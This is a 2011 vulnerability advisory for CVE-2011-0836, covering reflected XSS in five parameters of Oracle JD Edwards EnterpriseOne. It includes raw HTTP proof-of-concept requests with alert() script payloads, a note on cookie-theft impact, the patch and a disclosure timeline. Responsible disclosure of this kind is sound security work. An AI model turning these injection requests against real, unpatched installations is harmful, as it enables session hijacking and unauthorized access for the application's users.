



Advisory Name: Multiple Cross-Site Scripting (XSS) in Oracle JD Edwards EnterpriseOne

Public Advisory Id: CVE-2011-0836

Internal Cybsec Advisory Id: 2011-0402-Multiple XSSs in Oracle JD Edwards EnterpriseOne

Vulnerability Class: Reflected Cross-Site Scripting (XSS)

Release Date: 04/20/2011

Affected Applications: Oracle JD Edwards EnterpriseOne v8.12; other versions may also be affected.

Affected Platforms: Any running Oracle JD Edwards EnterpriseOne

Local / Remote: Remote

Severity: Medium – CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)

Researcher: Juan Manuel Garcia

Vendor Status: Patched

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

Multiple Reflected Cross Site Scripting vulnerabilities were found in Oracle JD Edwards EnterpriseOne, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user.

At least the following parameters are not properly sanitized:

/jde/E1Menu.maf: **jdeowpBackButtonProtect**

/jde/E1Menu_Menu.mafService: **e1.namespace**

/jde/E1Menu_OCL.mafService: **e1.namespace**

/jde/MafletClose.mafService: **RENDER_MAFLET**

/jde/JASMaletMafBrowserClose.mafService: **jdemafjasLinkTarget**

Some Proof of Concepts:

<http://XXX.XXX.XXX.XXX/jde/E1Menu.maf>
Parameter: jdeowpBackButtonProtect



* The GET request has been set to: **>'><script>alert(20639)</script>**
/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED
&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123 HTTP/1.0
Cookie: e1AppState=0;|; advancedState=none;
JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759|
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: XXX.XXX.XXX.XXX

http://XXX.XXX.XXX.XXX/jde/E1Menu_Menu.mafService
Parameter: e1.namespace

* The POST request has been set to: **%2Balert%2835890%29%2B**

/jde/E1Menu_Menu.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu
&e1.service=E1Menu_Menu&e1.namespace=%2Balert%2835890%29%2B HTTP/1.0
Cookie: e1AppState=0;|; advancedState=none;
JSESSIONID=0000b7KChC3OjQct7TOz9U6NMhK:14p7umbnp; e1MenuState=100003759|
Content-Length: 12
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: XXX.XXX.XXX.XXX
Content-Type: application/x-www-form-urlencoded
Referer:
http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBack
ButtonProtect=PROTECTED

nodeId=&a=lc

http://XXX.XXX.XXX.XXX/jde/E1Menu_OCL.mafService
Parameter: e1.namespace

* The GET request has been set to: **%2Balert%2848981%29%2B**

/jde/E1Menu_OCL.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu
&e1.service=E1Menu_OCL&e1.namespace=%2Balert%2848981%29%2B×tamp=12907964503
77 HTTP/1.0
Cookie: e1AppState=0;|; advancedState=none;
JSESSIONID=0000xXDQLJurffGMVi6Du_UnL0Z:14p7umbnp; e1MenuState=100003759|
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)



Host: XXX.XXX.XXX.XXX

Referer:

http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBack
ButtonProtect=PROTECTED

http://XXX.XXX.XXX.XXX/jde/MafletClose.mafService

Parameter: RENDER_MAFLET

* The GET request has been set to: **E1Menu"%2Balert%2844218%29%2B"**

/jde/MafletClose.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu"%
2Balert%2844218%29%2B"&e1.service=MafletClose&e1.namespace= HTTP/1.0

Cookie: e1AppState=0;|; advancedState=none; JSESSIONID=0000FGUGWkc2Y9q-
dO3GqshuPVQ:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer:

http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBack
ButtonProtect=PROTECTED

* http://XXX.XXX.XXX.XXX/jde/JASMaletMafBrowserClose.mafService

Parameter: jdemafjasLinkTarget

* The GET request has been set to:

E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"

/jde/JASMaletMafBrowserClose.mafService?jdemafjasFrom=BrowserClose&e1.mode=view&jdeLog
inAction=LOGOUT&e1.state=maximized&jdemafjasLinkTarget=E1MENUMAIN_386030887887790
3872"%2Balert%28222735%29%2B"&RENDER_MAFLET=E1Menu&jdemafjasLauncher=PSFT_T
E_V3_SW&e1.service=JASMaletMafBrowserClose&e1.namespace= HTTP/1.0

Cookie: e1AppState=0;|; advancedState=none; JSESSIONID=00003wyVho0_-
Ma0fQp67cuqdCs:14p7ulc8o; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer:

http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBack
ButtonProtect=PROTECTED

Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the



application.

Solution:

Install Oracle Critical Patch Update (CPU) - April 2011

Vendor Response:

2010/11/30 - Vulnerability was identified.

2010/12/03 - Vendor contacted.

2010/12/06 - Vendor committed to look into these issues.

2010/12/07 - Vendor request more info about the issue.

2010/12/07 - Cybsec sends more info about the issue.

2010/12/08 - Vendor says "We will look into this and get back to you soon".

2010/12/22 - Vendor confirmed vulnerability and informed that is going to send monthly updates about this issue till it is resolved.

2011/02/02 - Vendor request the info again and assigned the Tracking # S0024805 for this issue.

2011/02/04- Vendor request more time to resolve the vulnerability.

2011/02/04- Cybsec informs that the advisory will be published just after the publication of the Oracle's April CPU.

2011/04/18 – Vendor informs that the vulnerability is fixed in the upcoming Critical Patch Update (CPU) due to be released on April 19, 2011.

2011/04/19 – Vendor publishes Critical Patch Update (CPU).

2011/04/20 – Vulnerability was released.

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at **jmgarcia <at> cybsec <dot> com**

About CYBSEC S.A. Security Systems

Since 1996, **CYBSEC** is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, **CYBSEC S.A.** does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, **CYBSEC** is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com
(c) 2011 - **CYBSEC S.A. Security Systems**